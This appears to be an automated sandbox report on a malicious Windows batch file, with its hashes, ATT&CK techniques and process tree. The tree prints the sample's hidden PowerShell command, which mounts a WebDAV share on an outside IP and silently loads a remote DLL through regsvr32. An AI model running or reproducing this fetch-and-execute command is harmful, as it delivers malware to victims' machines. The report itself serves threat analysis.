b48a4b02f774caee78121fb25df3c25ffee9cf591bafb94dbc61adcac79d3b06

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 01:46

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General

Target

9536212391239917566.bat
Size

13KB
MD5

4299fd4cb482634100104bb3cd02f5d3
SHA1

6a292e830664264493522ab05caf15ab1daf0d77
SHA256

b48a4b02f774caee78121fb25df3c25ffee9cf591bafb94dbc61adcac79d3b06
SHA512

aba3daf6ffa1d875a47e31158339a77115c092e28dc43c90be3b0e91bf56975218b951ebf4122c255d22b9f15fdad4b6c84b55da3a59fe2885ee6e5ec86e8670
SSDEEP

384:dALiy8h8qg+QVTudkwmaZavEbNWQLsMlf0JoSeD1nCy+:AiOql1vLsM964nP+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2556	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2556	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2796	wordpad.exe
2796	wordpad.exe
2796	wordpad.exe
2796	wordpad.exe
2796	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 2796	2284	cmd.exe	31
PID 2284 wrote to memory of 2796	2284	cmd.exe	31
PID 2284 wrote to memory of 2796	2284	cmd.exe	31
PID 2284 wrote to memory of 2556	2284	cmd.exe	32
PID 2284 wrote to memory of 2556	2284	cmd.exe	32
PID 2284 wrote to memory of 2556	2284	cmd.exe	32
PID 2556 wrote to memory of 2764	2556	powershell.exe	34
PID 2556 wrote to memory of 2764	2556	powershell.exe	34
PID 2556 wrote to memory of 2764	2556	powershell.exe	34
PID 2556 wrote to memory of 2560	2556	powershell.exe	35
PID 2556 wrote to memory of 2560	2556	powershell.exe	35
PID 2556 wrote to memory of 2560	2556	powershell.exe	35
PID 2556 wrote to memory of 2560	2556	powershell.exe	35
PID 2556 wrote to memory of 2560	2556	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\9536212391239917566.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\12058269007490.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2764
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\12058269007490.dll
    3⤵
    PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2556-23-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2556-24-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download